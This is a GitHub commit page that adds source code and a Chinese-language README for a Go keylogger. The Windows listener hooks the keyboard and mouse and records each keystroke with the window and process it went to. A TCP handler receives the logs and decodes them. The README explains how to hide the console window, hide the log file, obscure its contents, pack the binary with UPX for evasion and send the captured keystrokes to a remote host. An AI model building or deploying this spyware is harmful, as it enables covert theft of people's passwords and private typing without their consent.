forked from guidoxie/keyboard
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
0 parents
commit 027b0f8
Showing
10 changed files
with
998 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,100 @@ | ||
### listener | ||
键盘监听程序 | ||
|
||
#### 参数配置 | ||
##### 1. 编译后,以命令行参数的方式进行传入 | ||
``` | ||
$ keylistener.exe -h | ||
-E | ||
encode text (default false) | ||
-H | ||
hidden file (default false) | ||
-lh string | ||
listener host | ||
-o string | ||
output to file (default "c:\\sys\\key.txt") | ||
``` | ||
|
||
参数: | ||
|
||
* -E : 进行文本加密 | ||
* -H : 隐藏记录文件 | ||
* -lh: 远程接收主机地址 | ||
* -o: 本地暂存文件的路径 | ||
|
||
示例: | ||
进行文本加密, 隐藏记录文件,并把记录发送到, 192.168.1.148:8080 | ||
``` | ||
$ keylistener.exe -E -H -lh 192.168.1.148:8080 | ||
``` | ||
|
||
##### 2. 设置默认参数,无需手动输入, 编译后直接启动程序可以使用 | ||
自行修改listener/main.go下面这几行代码代码 | ||
|
||
``` | ||
// 默认配置 | ||
const ( | ||
defaultPath = "c:\\sys\\key.txt" // 默认文件保存路径 | ||
defaultHost = "192.168.252.130:8080" // 默认远程接收地址 | ||
defaultIsEncode = true // 默认进行文本加密 | ||
defaultIsHidden = true // 默认进行文件隐藏 | ||
) | ||
``` | ||
|
||
#### 编译 | ||
|
||
##### 1. 进入程序目录 | ||
``` | ||
$ cd keyboard/listener | ||
``` | ||
|
||
##### 2. 编译程序 | ||
``` | ||
$ go build -ldflags "-s -w -H windowsgui" -o keylistener.exe *.go | ||
``` | ||
|
||
##### 3. 可选,使用upx压缩程序(据说能起到一定加壳作用) | ||
``` | ||
$ upx -9 keylistener.exe | ||
``` | ||
|
||
### handler | ||
记录接收的远程端,也可以用于解密加密过的键盘记录文件 | ||
|
||
##### 1. 进入程序目录 | ||
``` | ||
$ cd keyboard/handler | ||
``` | ||
|
||
##### 2. 编译程序 | ||
``` | ||
$ go build -o keyhandler.exe *.go | ||
``` | ||
|
||
##### 3. 参数 | ||
``` | ||
-D decode text | ||
-df string | ||
decode file | ||
-o string | ||
output to file | ||
-p string | ||
port | ||
``` | ||
* -D: 是否需要解密,如果发送端进行加密,可使用此参数进行解密 | ||
* -df: 解密文件,后面接文件路径 | ||
* -o: 输出文件路径 | ||
* -p: 服务端端口地址 | ||
|
||
示例: | ||
|
||
1. 监听8080端口,并对记录进行解密 | ||
``` | ||
$ keyhandler.exe -D -p 0.0.0.0:8080 | ||
``` | ||
|
||
2. 解密加密文件 | ||
``` | ||
$ keyhandler.exe -df key.txt -o log.txt | ||
``` | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
package main | ||
|
||
import ( | ||
"encoding/base64" | ||
"flag" | ||
"fmt" | ||
"io/ioutil" | ||
"log" | ||
"net" | ||
"os" | ||
"strings" | ||
) | ||
|
||
var ( | ||
isDecode *bool | ||
file *os.File | ||
base64Table = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()abcdefghjklmnopqrs" | ||
) | ||
|
||
func main() { | ||
isDecode = flag.Bool("D", false, "decode text") | ||
port := flag.String("p", "", "port") | ||
output := flag.String("o", "", "output to file") | ||
decodeFile := flag.String("df", "", "decode file") | ||
flag.Parse() | ||
if *output != "" { | ||
var err error | ||
file, err = os.OpenFile(*output, os.O_APPEND|os.O_CREATE|os.O_RDWR|os.O_SYNC, 0644) | ||
if err != nil { | ||
panic(err) | ||
} | ||
defer file.Close() | ||
} | ||
// 解密文件 | ||
if *decodeFile != "" { | ||
srcFile, err := os.Open(*decodeFile) | ||
if err != nil { | ||
panic(err) | ||
} | ||
all, err := ioutil.ReadAll(srcFile) | ||
if err != nil { | ||
panic(err) | ||
} | ||
for _, s := range strings.Split(string(all), "\t\r\n") { | ||
if file == nil { | ||
fmt.Println(decode(s)) | ||
} else { | ||
file.WriteString(decode(s)) | ||
} | ||
} | ||
if file != nil { | ||
file.Sync() | ||
} | ||
} | ||
if *port != "" { | ||
ln, err := net.Listen("tcp", *port) | ||
if err != nil { | ||
panic(err) | ||
} | ||
fmt.Printf("Listen to %s\n", *port) | ||
for { | ||
conn, err := ln.Accept() | ||
if err != nil { | ||
log.Println(err) | ||
continue | ||
} | ||
fmt.Println("FROM: ", conn.RemoteAddr().String()) | ||
go handleConnection(conn) | ||
} | ||
} | ||
if *port == "" && *decodeFile == "" { | ||
flag.Usage() | ||
} | ||
} | ||
|
||
func handleConnection(conn net.Conn) { | ||
defer conn.Close() | ||
res := make([]byte, 0) | ||
buffer := make([]byte, 1024) | ||
var count int | ||
for { | ||
length, err := conn.Read(buffer) | ||
if err != nil { | ||
log.Println(err) | ||
break | ||
} | ||
count += length | ||
res = append(res, buffer[:length]...) | ||
if string(res[(count-3):count]) == "\t\r\n" { // 协议 tcp包 结束标识 | ||
content := string(res[:count]) | ||
if *isDecode { | ||
cs := strings.Split(content, "\t\r\n") | ||
for _, c := range cs { | ||
c = fmt.Sprintf("%s\t\r\n", decode(c)) | ||
if file != nil { | ||
file.WriteString(c) | ||
} | ||
fmt.Print(c) | ||
} | ||
} else { | ||
if file != nil { | ||
file.WriteString(content) | ||
} | ||
fmt.Print(content) | ||
} | ||
if file != nil { | ||
file.Sync() | ||
} | ||
// 重置 | ||
res = res[:0] | ||
count = 0 | ||
} | ||
} | ||
} | ||
|
||
// 解密文本 | ||
func decode(s string) string { | ||
coder := base64.NewEncoding(base64Table) | ||
res, _ := coder.DecodeString(s) | ||
return string(res) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,135 @@ | ||
package main | ||
|
||
import ( | ||
"github.com/duanhunyiye/keyboard/listener/win32" | ||
"log" | ||
"time" | ||
"unsafe" | ||
) | ||
|
||
type KBEvent struct { | ||
VkCode win32.DWORD | ||
ProcessId uint32 | ||
ProcessName string | ||
WindowText string | ||
Time time.Time | ||
} | ||
|
||
type MSEvent struct { | ||
Point win32.POINT | ||
ProcessId uint32 | ||
ProcessName string | ||
WindowText string | ||
Time time.Time | ||
} | ||
|
||
var ( | ||
acp uint | ||
windowText string | ||
processId uint32 | ||
processName string | ||
kbEventChanel = make(chan KBEvent, 200) | ||
msEventChanel = make(chan MSEvent, 200) | ||
) | ||
|
||
var keyMap = map[win32.DWORD]string{ | ||
8: "Backspace", 9: "Tab", 13: "Enter", 20: "CapsLock", 27: "Esc", | ||
|
||
32: "Space", 33: "PageUp", 34: "PageDown", 35: "End", 36: "Home", 37: "Left", 38: "Up", 39: "Right", | ||
40: "Down", 45: "Insert", 46: "Delete", | ||
|
||
48: "0", 49: "1", 50: "2", 51: "3", 52: "4", 53: "5", 54: "6", 55: "7", 56: "8", 57: "9", | ||
|
||
65: "a", 66: "b", 67: "c", 68: "d", 69: "e", 70: "f", 71: "g", 72: "h", 73: "i", 74: "j", | ||
75: "k", 76: "l", 77: "m", 78: "n", 79: "o", 80: "p", 81: "q", 82: "r", 83: "s", 84: "t", | ||
85: "u", 86: "v", 87: "w", 88: "x", 89: "y", 90: "z", | ||
|
||
91: "Win(left)", 92: "Win(right)", | ||
96: "0", 97: "1", 98: "2", 99: "3", 100: "4", 101: "5", 102: "6", 103: "7", 104: "8", 105: "9", | ||
106: "*", 107: "+", 109: "-", 110: ".", 111: "/", | ||
|
||
112: "F1", 113: "F2", 114: "F3", 115: "F4", 116: "F5", 117: "F6", 118: "F7", 119: "F8", | ||
120: "F9", 121: "F10", 122: "F11", 123: "F12", | ||
|
||
144: "NumLock", 160: "Shift(left)", 161: "Shift(right)", 162: "Ctrl(right)", 163: "Ctrl(left)", | ||
164: "Alt(left)", 165: "Alt(right)", | ||
|
||
186: ";", 187: "=", 188: ",", 189: "-", 190: ".", 191: "/", 192: "`", | ||
219: "[", 220: "\\", 221: "]", 222: "'", | ||
} | ||
|
||
var exKey = map[win32.DWORD]struct{}{ | ||
8: {}, 9: {}, 13: {}, 20: {}, 27: {}, | ||
|
||
32: {}, 33: {}, 34: {}, 35: {}, 36: {}, 37: {}, 38: {}, 39: {}, 40: {}, | ||
45: {}, 46: {}, | ||
|
||
91: {}, 92: {}, | ||
|
||
112: {}, 113: {}, 114: {}, 115: {}, 116: {}, 117: {}, 118: {}, 119: {}, | ||
120: {}, 121: {}, 122: {}, 123: {}, | ||
|
||
144: {}, 160: {}, 161: {}, 162: {}, 163: {}, | ||
164: {}, 165: {}, | ||
} | ||
|
||
func init() { | ||
var err error | ||
var hWnd win32.HWND | ||
acp, err = win32.GetACP() | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
hWnd, windowText, err = getForegroundWindow() | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
processId, processName, err = getProcessInfo(hWnd) | ||
if err != nil { | ||
log.Fatal(err) | ||
} | ||
} | ||
|
||
// kb | ||
func keyboardCallBack(nCode int, wParam win32.WPARAM, lParam win32.LPARAM) win32.LRESULT { | ||
|
||
if int(wParam) == win32.WM_KEYDOWN { //down | ||
kbd := (*win32.KBDLLHOOKSTRUCT)(unsafe.Pointer(lParam)) | ||
hwn, wt, err := getForegroundWindow() | ||
if err != nil { | ||
log.Println(err) | ||
} | ||
if windowText != wt { | ||
windowText = wt | ||
processId, processName, err = getProcessInfo(hwn) | ||
if err != nil { | ||
log.Println(err) | ||
} | ||
} | ||
kbEventChanel <- KBEvent{ | ||
VkCode: kbd.VkCode, | ||
WindowText: windowText, | ||
ProcessName: processName, | ||
ProcessId: processId, | ||
Time: time.Now(), | ||
} | ||
} | ||
res, _ := win32.CallNextHookEx(kbHook, nCode, wParam, lParam) | ||
return res | ||
} | ||
|
||
// mouse | ||
func mouseCallBack(nCode int, wParam win32.WPARAM, lParam win32.LPARAM) win32.LRESULT { | ||
if int(wParam) == win32.WM_LBUTTONDOWN { // 左击 | ||
ms := (*win32.MSLLHOOKSTRUCT)(unsafe.Pointer(lParam)) | ||
msEventChanel <- MSEvent{ | ||
Point: ms.Pt, | ||
WindowText: windowText, | ||
ProcessName: processName, | ||
ProcessId: processId, | ||
Time: time.Now(), | ||
} | ||
} | ||
res, _ := win32.CallNextHookEx(msHook, nCode, wParam, lParam) | ||
return res | ||
} |
Oops, something went wrong.